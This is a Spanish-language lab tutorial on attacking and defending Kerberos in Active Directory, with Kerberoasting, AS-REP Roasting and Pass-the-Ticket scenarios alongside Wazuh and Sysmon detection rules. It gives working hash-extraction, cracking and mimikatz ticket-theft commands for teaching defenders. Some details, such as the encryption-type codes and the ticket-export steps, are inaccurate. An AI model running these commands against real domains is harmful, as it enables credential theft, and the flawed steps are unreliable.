Kerberos: Implementación, Análisis y Explotación

¿Qué es Kerberos?

Kerberos es un protocolo de autenticación de red seguro basado en tickets, diseñado para permitir que usuarios y servicios se autentiquen mutuamente en un entorno no confiable, como una red corporativa. Su principal objetivo es garantizar que una identidad pueda ser verificada sin necesidad de transmitir contraseñas a través de la red, reduciendo así el riesgo de interceptación.

Desarrollado originalmente en el MIT como parte del proyecto Athena, Kerberos se ha convertido en un estándar ampliamente adoptado, especialmente en sistemas Windows donde se integra como el método de autenticación por defecto en entornos Active Directory (AD).

🧱 Fundamentos del Funcionamiento

El protocolo Kerberos se basa en un modelo cliente/servidor y utiliza criptografía simétrica y un tercero confiable llamado Key Distribution Center (KDC), que se divide en dos componentes:

• AS (Authentication Server): valida la identidad del usuario y emite un TGT (Ticket Granting Ticket).
• TGS (Ticket Granting Service): emite tickets de servicio (TGS Tickets) basados en el TGT para acceder a servicios dentro del dominio.

🔄 Flujo Básico

1. El usuario se autentica ante el AS y obtiene un TGT.
2. El cliente presenta el TGT al TGS para obtener un ticket específico hacia un servicio (ej: SMB, HTTP, SQL).
3. El cliente usa ese ticket para autenticarse ante el servicio destino.

Este modelo asegura que una contraseña se use solo una vez al inicio de la sesión, y que los accesos posteriores se hagan mediante tickets temporales y cifrados.

Requerimientos:

• Sistema – Sistemas para realizar las pruebas
• Programación – Conocimientos altos de programación

Resposabilidad:

En este tutorías utilizaremos técnicas de hacking, con el único fin de aprendizaje. No promovemos su utilización ni con fines lucrativos o incorrectos. No nos hacemos responsables de cualquier daño o menoscabo que pueda generar en los sistemas utilizados. La responsabilidad es absoluta del usuario de este tutorial.

Conocimientos:

• Linux – Alto
• Programación – Muy alto
• Kali Linux – Medio
• Windows – Alto
• Redes – Muy alto

Nivel general del Tutorial: Muy Alto

Ideal para: Ingenieros de sistemas, Ingenieros de seguridad, Pentesters

Introducción

En entornos corporativos modernos basados en Active Directory, Kerberos constituye el núcleo del mecanismo de autenticación. Diseñado originalmente en el MIT como un protocolo de autenticación de red basado en tickets, Kerberos es ampliamente reconocido por su eficiencia en entornos distribuidos y por su integración nativa en sistemas Windows. Sin embargo, su adopción masiva también lo convierte en un vector prioritario de ataque dentro del ciclo ofensivo de un adversario.

Kerberos opera mediante una compleja interacción entre clientes, servidores y el KDC (Key Distribution Center), que otorga Tickets Granting Tickets (TGT) y Tickets Granting Services (TGS) para acceder a recursos autenticados dentro del dominio. Aunque su diseño fortalece el control de acceso y reduce la dependencia de contraseñas en claro, la gestión inadecuada de cuentas de servicio, políticas de contraseñas laxas o configuraciones por defecto, abren la puerta a explotaciones avanzadas como:

• Kerberoasting, para obtener y crackear hashes de cuentas de servicio.
• AS-REP Roasting, orientado a usuarios sin preautenticación.
• Pass-the-Ticket, que permite la reutilización de tickets .kirbi.
• Delegaciones mal configuradas, que amplían la superficie de ataque lateral.

Este laboratorio está diseñado para llevar al estudiante más allá del enfoque teórico, mediante la construcción de un entorno realista donde se podrán simular ataques, observar los flujos Kerberos en vivo, y aplicar contramedidas mediante herramientas como Wazuh, Sysmon, Rubeus y Wireshark.

El objetivo no es sólo conocer el funcionamiento de Kerberos, sino también pensar como un atacante que explota sus debilidades, y responder como un defensor que es capaz de detectarlas, correlacionarlas y mitigarlas de forma eficaz. Esta experiencia práctica se alinea con escenarios del mundo real observados en entornos empresariales comprometidos.

Resumen Ejecutivo

Este laboratorio avanzado está diseñado para estudiantes de máster en ciberseguridad con el objetivo de ofrecer una inmersión técnica y práctica en el protocolo Kerberos, piedra angular de la autenticación en entornos empresariales Windows con Active Directory. A través de una serie de escenarios estructurados y realistas, los participantes desplegarán una infraestructura simulada en máquinas virtuales donde podrán observar, explotar y defender uno de los sistemas más utilizados —y a la vez más vulnerables si se configura incorrectamente.

El laboratorio se divide en fases que abarcan desde la implementación del entorno hasta la ejecución de ataques conocidos como Kerberoasting, AS-REP Roasting, Pass-the-Ticket y el análisis de tickets .kirbi. Asimismo, se introduce una capa de detección y respuesta mediante la integración con herramientas como Wazuh SIEM, Sysmon y Wireshark, permitiendo a los estudiantes visualizar eventos de seguridad en tiempo real y aplicar reglas de correlación avanzadas.

Entre los logros esperados se incluyen la comprensión profunda del flujo de autenticación Kerberos, la identificación de malas prácticas comunes en la configuración de dominios, la simulación de técnicas ofensivas empleadas por atacantes avanzados (APT), y la creación de alertas efectivas para mitigar intentos de exfiltración o escalada de privilegios mediante este protocolo.

Este laboratorio representa una experiencia completa de Red Team vs. Blue Team centrada en Kerberos, capacitando a los estudiantes para actuar tanto desde una perspectiva ofensiva como defensiva en entornos reales de alta criticidad.

Resumen Técnico

Este laboratorio reproduce un entorno realista de autenticación Kerberos dentro de una infraestructura basada en Active Directory. Se compone de cuatro máquinas virtuales: un Controlador de Dominio (AD-Server) que actúa como KDC (Key Distribution Center), un WinClient unido al dominio con Sysmon y herramientas de análisis, un sistema Attacker (Kali Linux) con herramientas ofensivas como Rubeus, Impacket y Mimikatz, y un servidor Wazuh configurado como SIEM para detección y correlación de eventos.

Durante el laboratorio se simulan y analizan múltiples escenarios reales de ataque sobre Kerberos:

1. Kerberoasting: extracción de hashes TGS de cuentas con SPN y su posterior crackeo.
2. AS-REP Roasting: explotación de cuentas sin preautenticación para extraer y descifrar claves.
3. Pass-the-Ticket: reutilización de tickets .kirbi para acceso lateral no autenticado.
4. Análisis del flujo normal de autenticación: observación y trazado del comportamiento estándar de Kerberos mediante klist, Wireshark y Sysmon.

El entorno está configurado con políticas específicas de auditoría, eventos críticos de seguridad habilitados (IDs 4768, 4769, 4624, etc.), y herramientas como Wazuh y Sysmon para visibilidad avanzada. Se crean reglas personalizadas en Wazuh para identificar comportamientos anómalos, correlacionar secuencias de eventos sospechosos y generar alertas ante posibles ataques.

El laboratorio concluye con recomendaciones de hardening de Kerberos, como el uso obligatorio de preautenticación, rotación de contraseñas de cuentas de servicio, implementación de detecciones de comportamiento y monitorización continua de tickets y logins.

Este ejercicio proporciona una experiencia práctica completa en la interacción entre ofensiva y defensiva alrededor de Kerberos, con un enfoque integral orientado a escenarios del mundo real en ciberseguridad corporativa.

Objetivos del Laboratorio

• Comprender el funcionamiento interno del protocolo Kerberos en un entorno corporativo con Active Directory.
• Visualizar el flujo de autenticación entre clientes, KDC y servicios.
• Simular ataques reales sobre Kerberos (Pass-the-Ticket, Kerberoasting, AS-REP Roasting).
• Detectar eventos sospechosos mediante herramientas como Wazuh y Sysmon.
• Implementar reglas defensivas y recomendaciones de hardening.

Infraestructura del Laboratorio

Conceptos de Kerberos a Demostrar

• Autenticación con TGT y TGS.
• Delegación.
• Tickets .kirbi.
• AS-REP y SPN.
• Kerberoasting y extracción de hashes.
• Reutilización de tickets (Pass-the-Ticket).
• Eventos de seguridad relacionados (ID 4768, 4769, 4624).

Preparación del Entorno

🖥️ A. AD-Server (KDC)

• Instalar AD DS + DNS + RSAT.
• Crear dominio: LABKERB.LOCAL
• Crear usuarios:
  • victima1 (con SPN asignado para Kerberoasting)
  • usuario2 (sin preauth habilitada para AS-REP Roasting)
• Activar auditoría: Logon, Kerberos Service Ticket Operations.

💻 B. WinClient

• Unir al dominio.
• Instalar Sysmon + reglas SwiftOnSecurity.
• Instalar herramientas como:
  • Mimikatz
  • Rubeus
  • Klist
• Instalar el Wazuh Agent.

🧨 C. Attacker (Kali Linux)

• Instalar impacket, kerbrute, hashcat, bloodhound, evil-winrm, etc.
• Conectarse a la red del dominio (puede estar fuera del dominio).
• Conectividad al puerto 88/389 del AD.

📊 D. WazuhServer

• Instalar Wazuh Manager + Dashboard.
• Conectar los agentes.
• Crear reglas para eventos:
  • 4768 (AS-REQ)
  • 4769 (TGS-REQ)
  • 4624 (Logon)
  • 4648 (Logon explícito con cuenta)
  • Detectar secuencia de Rubeus, mimikatz, etc.

Escenarios del Laboratorio

Escenario 1: Flujo de Autenticación Kerberos Normal

🎯 Objetivo

Simular un inicio de sesión legítimo en un entorno Active Directory utilizando Kerberos, para comprender y observar:

• La emisión y uso de tickets TGT y TGS.
• El proceso completo de autenticación ante un servicio.
• Los eventos que genera Windows (event logs).
• El tráfico Kerberos capturado por Wireshark.
• La correlación y visualización de estos eventos en Wazuh/SIEM.

🧱 Infraestructura usada en este escenario

• AD-Server (KDC): Windows Server 2019 (DC01.labkerb.local)
• WinClient: Windows 10/11 unido al dominio
• Wazuh Server: SIEM con agente instalado en WinClient y AD-Server
• Wireshark: instalado en WinClient para analizar tráfico

🛠️ Paso a Paso

🔹 1. Comprobación del estado Kerberos

Desde WinClient, iniciar sesión como usuario de dominio:

LABKERB\usuario1

Verifica el dominio con:

whoami /fqdn

🔹 2. Ver Tickets Kerberos (TGT y TGS)

Usar el comando:

klist

Verás algo como:

Default Principal: usuario1@LABKERB.LOCAL

Cached Tickets:
#0 -> krbtgt/LABKERB.LOCAL@LABKERB.LOCAL
#1 -> cifs/DC01.labkerb.local@LABKERB.LOCAL

Esto indica:

• krbtgt: TGT (ticket de concesión de tickets)
• cifs/...: ticket para acceder a recursos compartidos vía SMB

🔹 3. Acceder a un recurso de red

Abre:

\\DC01.labkerb.local\shared

Esto solicita un TGS (ticket de servicio) al TGS del KDC.

Revisar de nuevo con klist para observar nuevos tickets emitidos.

🔹 4. Captura y análisis con Wireshark

Filtrar tráfico:

kerberos || tcp.port == 88

Verás paquetes como:

• AS-REQ y AS-REP (autenticación inicial → TGT)
• TGS-REQ y TGS-REP (acceso a recursos → TGS)

Analiza campos como:

• Realm
• Principal Name
• Ticket Encrypted Data
• Flags: forwardable, renewable, etc.

🔹 5. Eventos de Seguridad en el AD-Server

En el visor de eventos (Event Viewer) > Security, busca:

Valida los campos:

• TargetUserName
• ServiceName
• Ticket Encryption Type (ej: 0x17 AES256)
• Client Address

🔹 6. Monitorización en Wazuh

En el Dashboard de Wazuh:

• Buscar reglas relacionadas a eventos 4768, 4769 y 4624.
• Crear una alerta personalizada para cada flujo Kerberos, por ejemplo:

<rule id="910001" level="3">
  <if_sid>18107</if_sid>
  <description>Kerberos TGT request detected (Event ID 4768)</description>
  <group>authentication, kerberos</group>
</rule>

Correlacionar con el login completo (evento 4624) y acceso al recurso SMB.

🔹 7. Revisión avanzada de integridad

Usar Sysmon para detectar procesos que accedan al sistema de autenticación:

• Verificar actividad de lsass.exe
• Revisar la actividad de red hacia el puerto 88
• Detectar herramientas como klist.exe, Rubeus.exe si estuvieran presentes

Resultado Esperado

• Confirmar que el proceso de autenticación Kerberos genera eventos específicos en el sistema.
• Visualizar los tickets reales emitidos y sus componentes.
• Capturar y analizar el tráfico Kerberos con Wireshark.
• Detectar los eventos en Wazuh y correlacionarlos.
• Entender qué piezas intervienen en un login Kerberos normal, útil para contrastar luego con escenarios de ataque.

Escenario 2: Ataque Kerberoasting

🎯 Objetivo

Simular un ataque de Kerberoasting, una técnica muy común en entornos Active Directory donde un atacante extrae tickets TGS de cuentas de servicio con SPNs definidos y los crackea offline para recuperar credenciales. Este ataque aprovecha que los tickets están cifrados con la contraseña del servicio, que a menudo son débiles.

Se analizará:

• Cómo se identifican cuentas con SPN.
• Cómo se solicitan TGS tickets Kerberos.
• Cómo se extraen y crackean los hashes.
• Cómo detectar el ataque con eventos, Sysmon y Wazuh.
• Buenas prácticas para prevenirlo.

🏗️ Infraestructura usada

🛠️ Paso a Paso

🔹 1. Preparar la cuenta vulnerable en el AD

Desde AD-Server, crea una cuenta de servicio vulnerable:

New-ADUser -Name "svcSQL" -AccountPassword (ConvertTo-SecureString "P@ss1234" -AsPlainText -Force) -Enabled $true
Set-ADUser svcSQL -ServicePrincipalNames "MSSQLSvc/sql.labkerb.local:1433"

⚠️ El SPN es obligatorio para Kerberoasting, ya que genera un TGS asociado al servicio.

🔹 2. Confirmar que el SPN está visible

Desde Kali:

GetUserSPNs.py LABKERB.LOCAL/usuario1:P@ssw0rd -dc-ip <IP_DC> -request

Resultado esperado:

LABKERB.LOCAL\svcSQL:MSSQLSvc/sql.labkerb.local:1433
$krb5tgs$23$*svcSQL$LABKERB.LOCAL...

🔹 3. Crackear el hash

Guardar el hash en un fichero hashes.txt y ejecutar:

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Resultado: Recuperación de la contraseña del servicio.

🔹 4. Análisis con Wireshark

Filtra por protocolo kerberos:

• Observar TGS-REQ → petición de servicio.
• Analizar campos:
  • Service Name: MSSQLSvc
  • Ticket enc: cifrado con contraseña del SPN

🔹 5. Eventos de Seguridad en el AD-Server

Revisar en Event Viewer:

Buscar eventos con:

• ServiceName = MSSQLSvc
• Ticket Encryption Type = 0x17 (AES256) o 0x17 (RC4)

🔹 6. Detección con Wazuh

Reglas sugeridas:

<rule id="200201" level="10">
  <if_sid>18108</if_sid> <!-- Event 4769 -->
  <match>ServiceName:\s+MSSQLSvc</match>
  <description>Posible Kerberoasting: TGS solicitado para SPN MSSQLSvc</description>
  <group>kerberos, exfil, kerberoasting</group>
</rule>

Y correlación con:

• Usuario que lo solicitó
• Dirección IP sospechosa
• Comportamiento fuera del horario normal

🔹 7. Revisión con Sysmon

En WinVictima:

• Detectar ejecución de herramientas como rubeus.exe, GetUserSPNs.py.
• Procesos con argumentos que incluyan -request, -tgs, etc.

Reglas YARA o detecciones de comandos sospechosos pueden ser útiles.

✅ Resultado Esperado

• El atacante obtiene un TGS cifrado con la contraseña de una cuenta de servicio.
• Se demuestra que, con contraseñas débiles, puede ser crackeado offline.
• El SIEM (Wazuh) detecta solicitudes TGS inusuales.
• Se visualizan los logs relevantes (4769), tráfico de red y actividad con Sysmon.
• El alumno comprende el valor de los SPNs, las políticas de contraseñas fuertes y el monitoreo continuo.

🛡️ Recomendaciones de Hardening

• Usar contraseñas largas (>25 caracteres) en cuentas con SPN.
• Usar cuentas administradas (gMSA) para servicios.
• Monitorizar eventos 4769 masivos desde una sola IP.
• Cambiar contraseñas periódicamente.
• Eliminar SPNs no utilizados.

Escenario 3: AS-REP Roasting

🎯 Objetivo

Simular un ataque de AS-REP Roasting, técnica que permite a un atacante obtener un hash Kerberos directamente desde el KDC sin necesidad de autenticarse, si el usuario objetivo tiene deshabilitada la preautenticación (pre-auth). Es una falla frecuente en entornos mal configurados.

En este escenario se explora:

• Cómo identificar cuentas vulnerables sin preauth.
• Cómo extraer y crackear los hashes AS-REP.
• Cómo visualizar los eventos en AD y Wazuh.
• Cómo prevenir esta configuración insegura.

🏗️ Infraestructura usada

🛠️ Paso a Paso

🔹 1. Crear una cuenta vulnerable en el dominio

Desde PowerShell en el AD-Server:

New-ADUser -Name "usuarioLegacy" -SamAccountName "usuarioLegacy" `
-AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
-Enabled $true

Set-ADUser -Identity "usuarioLegacy" -DoesNotRequirePreAuth $true

Resultado esperado: El usuario puede ser atacado vía AS-REP Roasting.

🔹 2. Desde Kali, identificar cuentas vulnerables

Instala impacket si no lo tienes:

sudo apt install python3-impacket
GetNPUsers.py LABKERB.LOCAL/ -no-pass -dc-ip <IP_DC> -usersfile users.txt

users.txt debe contener posibles usuarios. Si encuentra uno vulnerable, aparecerá:

$krb5asrep$23$usuarioLegacy@LABKERB.LOCAL:...

🔹 3. Crackear el hash con Hashcat

Guarda el hash en un fichero asrep_hashes.txt, y ejecuta:

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force

Resultado esperado: recuperación de la contraseña de usuarioLegacy

🔹 4. Revisión en Wireshark

En el KDC (AD-Server), puedes capturar tráfico en el puerto 88:

kerberos || tcp.port == 88

Busca AS-REP con campos:

• Client Name: usuario vulnerable
• Encryption Type: RC4 / AES
• Encrypted Timestamp: enviado sin requerir AS-REQ firmado

🔹 5. Detección en el visor de eventos

En Event Viewer del DC:

🟠 El 4768 sin error de preauth (código 0x0) indica que preauth no era obligatoria.

Tip: Puede no generar errores como el 4771 típico si no hay fallo.

🔹 6. Detección en Wazuh (Regla personalizada)

Crear una regla en ossec.conf o en el manager:

<rule id="200301" level="10">
  <if_sid>18107</if_sid> <!-- 4768 -->
  <match>Does not require pre-authentication</match>
  <description>Posible AS-REP Roasting: usuario sin preauth</description>
  <group>kerberos, roasting, attack</group>
</rule>

También puede correlacionarse con accesos inusuales al puerto 88 desde fuera del dominio.

🔹 7. Revisión con Sysmon (WinVictima)

En caso de que el atacante esté dentro de la red interna, puedes detectar:

• Uso de herramientas como GetNPUsers.py, rubeus.exe asreproast
• Conexiones anómalas hacia el KDC desde máquinas no esperadas

✅ Resultado Esperado

• El atacante puede extraer un hash sin necesidad de autenticación.
• Se demuestra que los usuarios sin preauth están gravemente expuestos.
• La contraseña del usuario se puede obtener offline.
• Wazuh puede detectar esta anomalía con reglas específicas.
• Se logra conciencia sobre la importancia de la política «preauth required».

🛡️ Recomendaciones de Hardening

• Nunca deshabilitar preautenticación excepto en entornos controlados de test.
• Cambiar contraseñas regularmente.
• Monitorizar solicitudes TGT sin preauth.
• Revisar usuarios con:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}

Escenario 4: Pass-the-Ticket (PtT)

🎯 Objetivo

Simular un ataque de Pass-the-Ticket, técnica mediante la cual un atacante reutiliza un ticket Kerberos (TGT o TGS) previamente obtenido para autenticarse en servicios de red sin necesidad de conocer la contraseña del usuario.

Este escenario es común en entornos donde el atacante ha comprometido un sistema con acceso a memoria (ej: lsass) o tiene acceso a .kirbi files, y busca movimiento lateral o persistencia.

🏗️ Infraestructura usada

🛠️ Paso a Paso

🔹 1. Simular un entorno comprometido

Desde WinVictima, iniciar sesión como usuario1. Autenticar normalmente para generar un TGT válido:

whoami
klist

🔹 2. Extraer ticket con Mimikatz

Ejecutar Mimikatz como administrador:

mimikatz
privilege::debug
sekurlsa::tickets

Identifica el TGT (krbtgt) y exporta:

kerberos::list
kerberos::ptt ticket.kirbi

Guarda el fichero .kirbi en un USB simulado o transfiérelo a Kali.

🔹 3. Reutilizar ticket en Kali (Pass-the-Ticket)

Desde Kali, usando Rubeus en una máquina Windows o impacket si se transfiere el ticket al entorno Windows:

export KRB5CCNAME=usuario1.ccache
kinit usuario1@LABKERB.LOCAL

Luego acceder a servicios:

smbclient.py LABKERB.LOCAL/usuario1 -k -no-pass -dc-ip <IP_DC>

Se accede sin conocer la contraseña, usando únicamente el ticket.

🔹 4. Validación con klist

Una vez cargado el ticket:

klist

Debe aparecer el TGT actual y los TGS en caché.

🔹 5. Análisis en el Event Viewer del AD

Event IDs relevantes:

🕵️ Busca inconsistencias:

• Logins válidos desde IPs inusuales.
• Logons sin autenticación previa (Logon Type = 3).

🔹 6. Detección con Wazuh

Regla avanzada de detección de reuso de tickets:

<rule id="200401" level="12">
  <if_sid>18108</if_sid>
  <match>krbtgt</match>
  <description>Uso sospechoso de TGT: posible Pass-the-Ticket</description>
  <group>kerberos, attack, lateral</group>
</rule>

Además, puedes correlacionar:

• Eventos 4624 seguidos de 4769 desde la misma IP.
• Solicitudes de tickets fuera del horario laboral.
• Procesos que acceden a lsass.exe → usar Sysmon.

🔹 7. Monitoreo con Sysmon

• Detección de herramientas como mimikatz.exe, rubeus.exe.
• Eventos 10 (acceso a procesos sensibles).
• Eventos de creación de tickets o exportación de .kirbi.

✅ Resultado Esperado

• El atacante accede a recursos del dominio reutilizando un TGT válido.
• No necesita credenciales, solo el ticket.
• Wazuh y Sysmon detectan la actividad si está bien configurado.
• El alumno comprende cómo la memoria y el acceso a tickets es tan crítico como las contraseñas.

🛡️ Recomendaciones de Hardening

• Implementar Credential Guard o LSA Protection.
• Bloquear herramientas como mimikatz con AppLocker o WDAC.
• Monitorear acceso a lsass.exe y secuencias de autenticación anómalas.
• Expirar tickets con baja vida útil (MaxTicketAge).
• Auditoría de cuentas con múltiples logins simultáneos.

🧩 Conclusiones Finales del Laboratorio de Kerberos

El laboratorio avanzado sobre Kerberos ha demostrado que, aunque este protocolo es uno de los pilares de autenticación en entornos empresariales modernos, su seguridad depende críticamente de una buena configuración, supervisión y visibilidad continua.

A lo largo de los distintos escenarios prácticos, se ha evidenciado que:

• ✅ Kerberos funciona correctamente bajo condiciones seguras, y genera eventos específicos que pueden ser auditados para fines de trazabilidad.
• 🔥 Técnicas de ataque como Kerberoasting, AS-REP Roasting y Pass-the-Ticket son viables en dominios reales si no se aplican políticas mínimas de seguridad, tales como la rotación de contraseñas, el uso de cuentas de servicio seguras (gMSA) o la preautenticación obligatoria.
• 🛡️ La monitorización proactiva con herramientas como Sysmon y Wazuh permite detectar actividad sospechosa relacionada con el protocolo Kerberos, incluso en técnicas avanzadas y de tipo post-explotación.
• 🔬 La combinación de tráfico de red (Wireshark), eventos de seguridad (Event Viewer), logs correlacionados (Wazuh) y análisis de procesos (Sysmon) permite generar una visión integral del comportamiento del sistema y del atacante.
• 🚨 La visibilidad no es suficiente sin correlación e inteligencia contextual. Alertas aisladas pierden valor si no se asocian a comportamientos encadenados (por ejemplo: acceso a tickets, movimiento lateral, uso de herramientas ofensivas).

En definitiva, el laboratorio no solo ofrece una comprensión técnica profunda del protocolo Kerberos, sino también de cómo piensan y actúan los atacantes cuando se enfrentan a dominios corporativos. Esta experiencia refuerza la importancia de integrar detección avanzada, políticas de seguridad robustas y formación continua en cualquier estrategia de defensa corporativa.